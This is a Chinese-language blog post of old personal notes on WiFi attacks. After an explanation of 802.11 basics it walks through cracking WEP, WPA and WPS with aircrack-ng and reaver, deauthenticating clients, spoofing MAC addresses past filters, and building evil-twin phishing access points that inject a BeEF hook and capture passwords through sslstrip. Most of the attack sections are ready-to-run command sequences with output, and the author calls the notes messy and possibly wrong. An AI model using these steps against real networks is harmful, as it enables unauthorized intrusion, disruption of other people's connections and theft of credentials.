BetaMao

无线攻击

字数统计: 5.9k阅读时长: 23 min
2016/03/03 Share

旧文迁移,wifi破解相关,内容比较乱,可能还有错误,以后用到再改吧。

无线基础


802.11标准

IEEE 802是LAN和MAN标准,其中802.11位无线局域网WLAN:

在此协议中,802.11只是指定了数据链路层和物理层:

他有很多子标准,以小写命名的是在原标准后做出修改形成的,是非正式的“标准”:



而日常最常用的是下面这些,如802.11b即WiFi,还有802.11 ac。。

原始的802.11版本:

改进后的802.11b:
速度提升,确定频宽,制定信道


802.11a:

802.11g:

802.11n:

无线网络运行模式

Infrastructure(基础架构集)

最常见的那种,由AP维护SSID,并在默认情况下以每秒约10次的频率通过beacon向空间广播SSID,客户端连接后也会以一定频率向外宣告已连接的SSID。一个AP与多个STA形成一个Basic service Set(BSS),AP连接到有线网络形成Distribution System(DS),多个BSS连在一起组成一个Extend service Set(ESS),每个AP的MAC地址为BSSID,它们拥有一样的ESSID(即通常所说的WiFi名)

AP和AP之间也可以使用无线的方式通信(WDS),它分为两种情况,Bridging(桥接)与Repeating(中继),区别在于桥接信号需要通过连接到的AP转发到另一个AP而中继直接发送到另一个AP。

AD-HOC(Independent Basic service Set (IBSS))

像快传这样,由至少两个STAs直接组成,其中一个负责AP的工作

MONITOR MODE

并非真的无线模式,为苑老师硬扯出来的(笑cry),就是混杂模式,允许无线网卡没有任何筛选的抓包(可以抓取到802.11包头)。

无线网硬件相关

挑选网卡:




我自己在最开始挑选无线网卡时也很懵逼,最后才发现最初的无线网卡就能用,不同软件对网卡的支持能力是不同的,最好的方式是去官网或者去论坛问问大家使用的网卡,注意主要看网卡的芯片而不是网卡本身的型号,那才是最重要滴!

信号强度

分贝dB:测量无线信号强度,它表明两个信号之间的差异比率,是一个相对值
dBm:功率值与1mW进行比较的dB值结果

天线:

全向天线:


这里horizontal是俯视图,vertical是水平视图:

定向天线:




这种在移动通讯中使用较多,图中记了2.45Ghz和5.5Ghz两种频率:


无线协议栈

Linux最初在使用IEEE80211(iwconfig/iwlist)现在常用的是mac80211(iw)

常用命令:

1
dmesg -T 		#查看硬件变化

1
ifconfig -a 		#查看网卡信息

1
iwconfig 			#查看网卡无线信息

1
iw list			#查看网卡详细信息



1
iw dev wlan0 scan				#扫描周围AP


1
iw dev wlan0 interface add mon0 type monitor			#将网卡置为混杂模式

1
2
service network-manager stop				#若上面的操作出错,可尝试先停止此服务
iw dev mon0 interface del #删除刚才添加的网卡


现在抓的包就是802.11的包了:

附:
协议栈:https://www.kernel.org/doc/htmldocs/80211/index.html
无线驱动:http://linuxwireless.org/en/users/Drivers/

网卡选择


常规测试

1:关闭可能干扰的软件:

1
airmon-ng check kill


检查到wpa_supplicant会影响到套件就自动关闭了他。
2:开启监听模式:

1
airmon-ng start wlan1


可以见到他是成功的识别出了网卡的芯片,驱动,然后开启了监听模式,名字改为了wlan1mon关闭了普通的模式。
3:当只有一张无线网卡时的测试:

1
aireplay-ng -9 wlan1mon


他会搜索附近的AP进行注入,29/30表示注入30个成功29个,证明是可以注入的!
4:当有两张无线网卡时的测试:

1
aireplay-ng -9 -i wlan0mon wlan1mon


可以看到,是先进行基本的测试,再进行card to card测试,证明了每种注入都是支持的!

其他测试

使用

1
aireplay-ng -9 -e teddy -a 00:de:ad:ca:fe:00 -i wlan1 wlan0

在这里:

-9 意味着注入测试,全写是 –test.
-e ‘teddy’ 是AP名称 (SSID). 这是可选的
-a 00:de:ad:ca:fe:00 ath0 是AP的mac地址 (BSSID). 这是可选的
-i wlan1是你的第二张网卡名称如果你想知道你的第二张卡是否支持。他扮演的角色是作为一个AP并且接收数据包。这是可选的。
wlan0是设备名称或者是airserv-ng IP地址加端口号。他被用来发送数据包。For example - 127.0.0.1:666.

重要的: 你必须在做任何测试之前用airmon-ng去将网卡设置为监听模式。举个栗子
基础测试
基础测试测试你的网卡是否能成功注入。

1
aireplay-ng -9 wlan0

系统响应:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
16:29:41  wlan0 channel: 9
16:29:41 Trying broadcast probe requests...
16:29:41 Injection is working!
16:29:42 Found 5 APs

16:29:42 Trying directed probe requests...
16:29:42 00:09:5B:5C:CD:2A - channel: 11 - 'NETGEAR'
16:29:48 0/30: 0%
16:29:48 00:14:BF:A8:65:AC - channel: 9 - 'title'
16:29:54 0/30: 0%
16:29:54 00:14:6C:7E:40:80 - channel: 9 - 'teddy'
16:29:55 Ping (min/avg/max): 2.763ms/4.190ms/8.159ms
16:29:55 27/30: 90%
16:29:55 00:C0:49:E2:C4:39 - channel: 11 - 'mossy'
16:30:01 0/30: 0%
16:30:01 00:0F:66:C3:14:4E - channel: 9 - 'tupper'
16:30:07 0/30: 0%

分析结果:

16:29:41 wlan0 channel: 9: 显示wlan0在哪个信道上运行
16:29:41 Injection is working!:这确认你的卡能注入!
16:29:42 Found 5 APs:周围有5个AP响应了请求。
16:29:42 00:09:5B:5C:CD:2A - channel: 11 - 'NETGEAR':注意到NETGEAR这个AP的信道是11而非我们网卡设置的9,如果要攻击就要把我们网卡的信道设置成11.
16:29:55 Ping (min/avg/max): 2.763ms/4.190ms/8.159ms:显示ping的速度。
16:29:55 27/30: 90% for teddy: 这是你的网卡和AP的交互情况,这也能进一步证明你的网卡可以注入。

隐藏的或者是特别的AP
用这条命令检查:

1
aireplay-ng --test -e teddy -a 00:14:6C:7E:40:80 ath0

响应:

1
2
3
4
5
6
7
8
9
11:01:06  ath0 channel: 9
11:01:06 Trying broadcast probe requests...
11:01:06 Injection is working!
11:01:07 Found 1 APs

11:01:07 Trying directed probe requests...
11:01:07 00:14:6C:7E:40:80 - channel: 9 - 'teddy'
11:01:07 Ping (min/avg/max): 2.763ms/4.190ms/8.159ms
11:01:07 30/30: 100%

分析:成功了
攻击测试
这需要两张卡来监听,-i的卡是扮演AP的角色
运行如下指令:

1
aireplay-ng -9 -i wlan1 wlan0

在这里:

-9 是测试
-i wlan1 是AP设备并且接收数据包的
wlan0 是注入设备

响应:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
11:06:05  wlan0 channel: 9, wlan1 channel: 9
11:06:05 Trying broadcast probe requests...
11:06:05 Injection is working!
11:06:05 Found 1 APs

11:06:05 Trying directed probe requests...
11:06:05 00:de:ad:ca:fe:00 - channel: 9 - 'teddy'
11:06:05 Ping (min/avg/max): 2.763ms/4.190ms/8.159ms
11:06:07 26/30: 87%

11:06:07 Trying card-to-card injection...
11:06:07 Attack -0: OK
11:06:07 Attack -1 (open): OK
11:06:07 Attack -1 (psk): OK
11:06:07 Attack -2/-3/-4: OK
11:06:07 Attack -5: OK

分析:

11:06:05 wlan0 channel: 9, wlan1 channel: 9: 他很重要,wlan0和wlan1要在同一信道
前面的输出和上一条命令是一样的意思
最后部分表明wlan0可以成功地进行所有类型的攻击
如果你在attack -5处得到一个failure,如果注入的mac于现在的mac想匹配,他将任然可以运行。如果不一样在一些设备他会失败。

airserv-ng 测试
运行airserv-ng:

1
airserv-ng -d wlan0

响应:

1
2
3
4
Opening card wlan0
Setting chan 1
Opening sock port 666
serving wlan0 chan 1 on port 666

运行下面这条命令:

1
aireplay-ng -9 127.0.0.1:666

在这里:

-9 注入测试
127.0.0.1:666 时airserv-ng的IP地址和端口,不一定是本地会还端口,可以是任意的地址。

响应:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
14:57:23  Testing connection to injection device 127.0.0.1:666
14:57:23 TCP connection successful
14:57:23 airserv-ng found
14:57:23 ping 127.0.0.1:666 (min/avg/max): 0.310ms/0.358ms/0.621ms

Connecting to 127.0.0.1 port 666...
Connection successful

14:57:24 127.0.0.1:666 channel: 9
14:57:24 Trying broadcast probe requests...
14:57:24 Injection is working!
14:57:25 Found 1 AP

14:57:25 Trying directed probe requests...
14:57:25 00:14:6C:7E:40:80 - channel: 9 - 'teddy'
14:57:26 Ping (min/avg/max): 1.907ms/38.308ms/39.826ms
14:57:26 30/30: 100%

分析:
Connection successful: 连接成功
后面的输出和前面命令意思一样

故障解决

一般的:

确保使用了正确的设备名,什么mon0,wlan0,at0等,还有多张网卡wlan1,wlan2等不要写错。
确保和目标用的信道一样,否者会失败,可用iwconfig查看。
确保你的网卡没有进行其他的工作,普遍错误是airdump-ng运行在信道忙碌的模式,所以用这个命令一定要用参数-c <信道>,也要保证其他的管理软件或同类软件关闭。

“Network is down” 的错误信息:
如果你在使用Atheros-based和这个madwifi-ng 设备时出现:

1
2
3
4
5
6
aireplay-ng -9 -e teddy -a 00:14:6C:7E:40:80 -B ath0
Interface ath0 -> driver: Madwifi-NG
12:36:30 ath0 channel: 10
12:36:30 Trying broadcast probe requests...
write failed: Network is down
wi_write(): Network is down

这里存在一些还未修复的问题,因此,你可以直接去掉-B参数
airodump-ng 显示 APs 但是都不回应:
可能是AP设备拒绝回应你的请求或者是距离过远了。
这时可以针对所有的信道或是特殊的AP进行探测

破解原理


无线网络中信号不会定向的传给每个设备,就是说AP发射的信号每个网卡都能够接收到,但是在正常情况下只有是自己的数据包才会接受,但是如果我们改一下网卡的模式,就能够让它接收周围所有的无线数据包,所以,没有加密的无线是毫无安全性可言的,因为任何在范围内的设备都能获取到包的内容,如果使用加密的无线,即使获取到也只是加密后的数据。
然后现在连无线大致就是两种:

(1)    客户端:我是自己人,要连接你
服务端:好的,那你连吧|骗我呢,不准连

(2)    客户端:我是自己人,要连接你
服务端:我不信,自己人都有密码,你把密码发给我看看
客户端:好吧,密码是12345678
黑客:得到密码啦
可能么?在认证时候是信息都是明文传输的,如果直接传密码都能够得到,其实是
客户端:我是自己人,要连接你
服务端:我不信,自己人都有密码,你用密码把45212345这个给我加密了
客户端:好的,加密后的密文是453154312
服务端:用密码解密后,还是45212345就允许连接,否则不允许

然后现在的加密就是WEP,WPA,WPA2等等,下面分别介绍:

  1. WEP,它使用RC4加密,加密数据用的密码是“WiFi的密码+iv”,iv是随机生成的,对方不知道,所以需要通过明文发送,因为iv只有200多种,而加密用的iv可以直接读到,所以如果收到的大量的数据包就会有使用了重复iv的数据包(大于254就绝对会有重复的),那么用那两个加密的数据包去异或就会得到明文的异或。。。最终就能得到密码,所以WEP加密绝对能够被破解。
  2. WPA,就是针对WEP缺点的改进。使用了更加好的加密算法,iv的取值也变成很多,很难得到重复的,加密数据的密码是“WiFi密码+WiFi名字+其他”,他只能用暴力破解,而且不能跑彩虹表(因为这里面有WiFi名称这个元素),如果你确定目标永远不会改WiFi名称,其实也是可以自己根据名称生成彩虹表来跑的。它有两种,要么使用认证服务器(安全性高,企业用)要么使用预共享秘钥(安全性相对较低,家庭等使用),我们一般也是使用psk这种。
  3. WPA2,就是wpa的升级版,加密算法使用了更好的。
  4. WPS,应该是配合前面的加密吧。为了解决前面使用认证复杂而产生的。分两种验证方式,要么使用pin码,就是自己的客户端生成一个pin码,在路由器端输入这个pin码就可以完成认证,还有就是使用按钮,例如手机上点一下那个按钮,然后在路由器上也按一下,就能完成认证。不过它的pin码设计上有缺陷,只要尝试1万多次就能得到,然后通过pin能得到WiFi密码。

现在来看看抓包的样子:
开启网卡的混杂模式(监听模式)后抓包

看到抓到的包都是802.11协议的包,这是因为周围的无线都是加密的,我开了个没加密的,就可以看到协议变了,也能够看到内容了

如果是wep,wpa/psk加密,如果有密码还可以直接使用它解包看内容

WEP


真的好不容易,才能在一大片的路由中找到一个支持WEP的。在这里,首先感谢书大仙,新大娘提供设备【虽然也不支持】,然后感谢刚小胖“同志”,终于把这个实验做好了。

好吧,不说废话了,因为WEP加密本身的缺陷,WEP加密很好破解,而且算是一定能破解吧。
1:关闭干扰服务进程

1
2
service network-manager stop
airmon-ng check kill


2:打开监听模式

1
airmon-ng start wlan0


3:查看周围设备

1
airodump-ng wlan0mon



看到还没有抓到任何密钥流,有一个使用了WEP加密的,信道是2
4:针对特定的AP【这个窗口一直打开】

1
airodump-ng wlan0mon --bssid AP_Mac  -c [AP_channel]  -w  [result_file]


只监听这一个AP,并把结果保存为wep*命名的文件

5:对某个已连接的客户端实施断开链接攻击, 直到抓到密钥流

1
aireplay-ng -0 2 -a [AP_Mac] -c [Client_Mac] wlan0mon


-0表示deauth攻击,可使以连上的客户端断开连接,后面的2代表2次

这时就是抓到了密钥流了。此时会在结果目录下生成一个*.xor的文件

6:通过它与AP建立关联关系[此时还不能上网]

1
aireplay-ng -1 60 -e [essid] -y wep*.xor -a [AP_Mac] -h [Wlan0mon_Mac] wlan0mon

高清无码。这张图里面有点问题,不要在意这些细节。。。。只是后面的ARP重放失效了,懒得再试了。这里本机的mac地址改为监听模式后会变长,取前六组即可

8:不爽,再来一次断网攻击,抓一些ARP包【同上】
7:开始ARP重放攻击

1
aireplay-ng -3 -b [AP_mac] -h [wlan0mon-mac] wlan0mon


这里会从抓到的包里找ARP请求,然后重放,来增加data值,这个越多越好【在airodump-ng里面看】

9:感觉够了就可以破解了

1
aircrack-ng wep*.cap

WPA


思路步骤:通过抓取握手包破解的密码,就要监听网络中的握手包,握手包只会在客户端连接AP时才会产生,于是可以主动让客户端断开连接,他就会自动连接,这样就能够抓到握手包。
重要的因素:字典!因为这是猜密码破解,所以密码字典里面有没有真实的密码决定了能不能成功破解。
开始了
1:关闭network管理服务

1
service network-manager stop

2:检查并关闭有干扰的软件

1
airmon-ng check kill


3:开启监听模式

1
airmon-ng start wlan1


4:先查看周围的网络情况,并得到目标的情况

1
airodump-ng wlan1mon


第一排那里有个箭头指向空,说明还没有抓到握手包
BSSID指AP的mac pwr是信号强度,越接近0越强,ch是信道,essid的AP的名字,station是客户端的mac,enc是加密类型
5:开始针对目标实施监听

1
airodump-ng wlan1mon --bssid 【AP的mac】 -c 4 -w  wpa

[wpa是指保存的抓包文件名,随便取]

这是针对一个AP的探测,目前还没有握手包
6:对目标实施断开链接攻击

1
aireplay-ng -0 2 -a 【AP的mac】 -c 【已经连到那个AP的客户端mac】 wlan1mon


这里进行了两次deauth*攻击,使客户端与ap断开连接

这里看到客户端立即重连,就抓到了握手包
7:破解密码

1
aircrack -w 【字典文件】 【抓到的包文件】


跑密码中,一个13M的密码,这么久都没有出来,速度太慢了,所以一般都不是自己破解密码吧。

才13M的密码跑了30分钟还没完,然后手不小心按错了,只能重来,,,

这是效果图。。。

WPS


因为WPS本身存在缺陷,它共8位,但是第八位可由前七位决定,就是之破解七位,还可以先破解前4位,再破解第5,6,7位所以有1万多种可能,如果没有尝试次数限制可以很快破解出来但是现在很多都有限制,如果在一定时间内错误次数过多会被锁住,只有重启才会解锁,所以需要限制速度。
综上,如果有WPS的路由器且使用了WPA加密,在使用简单的字典不能破解后,最好直接破解PIN码,因为它能在能过接受的时间(两三天)内破解出密码
现在开始:
同样,先停掉系统自带服务,以免影响

1
service network-manager stop

检查杀死影响的进程

1
airmon-ng check kill

开启监听模式

1
airmon-ng start wlan0

扫描周围支持WPS的热点

1
wash -C -i wlan0mon


如图,看到对方的mac地址,信道,wps版本,是否已经被锁定,热点名称
现在开始破解

1
reaver -i wlan0mon -b F0:B4:29:81:DA:31 -vv -K 1 -c 10

这个就是使用wlan0mon这张卡,-b接目标mac地址,-vv就是详细信息 –K 1是先用一种特别的攻击,这种攻击针对一些固件本身存在的漏洞,-c 10就是对方路由器的信道

得到pin码以后,就用下面这条命令获得密码。

1
reaver -i wlan0mon -b <AP MAC> -vv -p <pin>

(也可以使用airodump-ng命令搜索周围热点)

MAC绑定


连接到没有设置密码,只是设置了绑定mac地址的无线(如图)

很多人认为mac地址独一无二,绑定了mac地址别人就不能连接了,其实mac地址可以伪造的。
将网卡设置为监听模式:

1
2
3
service network-manager stop
airmon-ng checkstop
airmon-ng start wlan0

通过抓包看看有哪些设备连上了那个无线

1
airodump-ng wlan0mon

停用网卡

1
2
airmon-ng stop wlan0mon
ifconfig wlan0 down

改网卡的mac地址

1
2
ifconfig –a	查看网卡交什么名字,不出意外还是叫那个
macchanger –m [一连上的设备的mac地址] wlan0

重新开启监听模式

1
airmon-ng start wlan0

这时就可以直接连接了,不过因为是两台地址一样的设备连接,所以会有丢包等现象,可以等待对方没用时自己再去使用,不过这不是目的,我们连好后可以进入后台,将自己的mac地址添加到路由器

钓鱼WiFi


WiFi-pumpkin

邪恶双子星,逼格很高的名字,通俗的说就是钓鱼WiFi。配置方法超级多,今天说下最简单的之一吧。装备就是要两张网卡,虚拟机可以虚拟一张,无线网卡需要自配。
安装方法,输入以下命令

1
2
3
4
git clone https://github.com/P0cL4bs/WiFi-Pumpkin.git
cd WiFi-Pumpkin
chmod +x installer.sh
./installer.sh –install

安装完可以直接在任何地方输入wifi-pumpkin打开软件,不过建议进入安装目录打开,否则可能回出现一些问题
正题:
1:打开软件

2:介绍下页面

打开是主页,access point里面的网关是连接互联网的网关,一般只要连接上Internet就会自动识别。Ap name填上伪造AP的名字。Channel随便,可以和伪造的信道相同。Network adapter 就是选择发射信号的无线网卡。下面有个插头代表插件,默认是选中的,可以手动禁用,右边那个点是网页钓鱼服务,需要可以配置,开启,后面说。配置好以后点击start AP就开启了钓鱼WiFi,下面会显示已经连接的设备信息

这里可以往返回的数据里面注入代码,包括HTML,js,css等等。方法就是,点击browser选中要注入的内容,点击enable即可生效,下面会有注入日志。

这就是对AP的一些设置了,包括DHCP服务的时间,网段,广播掩码等等。

这记录一些链接过的设备

就是几个监视器,主要用第二个监视表单密码吧。

工具ettercap都懂得,不过主要用driftnet监视数据中的图片吧。

这些模块,都是单独拿去用的,看名字就知道用途了。。。

这是setting里面的内容,可以改发射信号的软件,断网的软件,扫描的软件等等,高级里面设置AP的iptables就是Linux里面那个,在这里管流量转发,hostpad里面可以设置加密AP。
介绍完了,用法之一就是这样

先设置了js注入,注入的是beef的hook

名字改的具有迷惑性就可以开始了

已经搜到了,这里只是信道不同,可以调的一样,然后连接

这里可以看到已经有设备连接了
打开monitor netcreds和driftnet

可以看见截获账号密码还有图片那些【它默认开启了sslstript,即使使用了安全套接层的也可以截获】

easy-creds

1:安装easy-creds(下载)
解压缩到目录

执行./installer.sh

选择操作系统
安装过程中的错误提示可以手动解决

复制命令到新窗口运行


自动脚本安装,直到出现如下字样说明安装完成
2:打开它
在安装目录执行
./ easy-creds.sh


更改配置文件,升级aircrack-ng等

3:使用

选择虚假ap

选择静态的

2:选择连接互联网的网卡
3:选择发射无线信号的网卡
4:选择无线的信道

1:选择监听设备
2:是否改变网卡的mac地址
4:设置无线的网段
5:设置DNS服务器的地址
4:查看

其他工具


wifite

1:打开软件

2:自动搜索周围无线

他会一直扫描下去,需手动按crtl+C停止扫描
3:选择破解的目标

会按信号强度排序,需要破解哪一个就输入它的编号即可,破解所有输入all
4:开始破解

会在8分20秒内不停的发送数据,强制让客户端与热点断开,然后客户端会自动重新连接,这时就可以捕获握手包(就是一个含有验证密码哈希的文件),在监听到握手包后自动破解密码。

fern

这个kali自带

打开先选择网卡,然后去扫描,扫描后可以看到wep和wpa加密热点的分布情况,点击相应的图表即可进入

选择相应的可以看到详细信息,可以选择字典文件,然后开始攻击
(必须吐槽,默认字体反人类,可以在工具里面设置,里面还有一些常用的有用的设置,需要自己探索)

来源


安全牛课堂-kali-linux
CATALOG
  1. 1. 无线基础
    1. 1.1. 802.11标准
    2. 1.2. 无线网络运行模式
      1. 1.2.1. Infrastructure(基础架构集)
      2. 1.2.2. AD-HOC(Independent Basic service Set (IBSS))
      3. 1.2.3. MONITOR MODE
    3. 1.3. 无线网硬件相关
      1. 1.3.1. 挑选网卡:
      2. 1.3.2. 信号强度
      3. 1.3.3. 天线:
      4. 1.3.4. 无线协议栈
      5. 1.3.5. 常用命令:
  2. 2. 网卡选择
    1. 2.1. 常规测试
    2. 2.2. 其他测试
    3. 2.3. 故障解决
  3. 3. 破解原理
  4. 4. WEP
  5. 5. WPA
  6. 6. WPS
  7. 7. MAC绑定
  8. 8. 钓鱼WiFi
    1. 8.1. WiFi-pumpkin
    2. 8.2. easy-creds
  9. 9. 其他工具
    1. 9.1. wifite
    2. 9.2. fern
  10. 10. 来源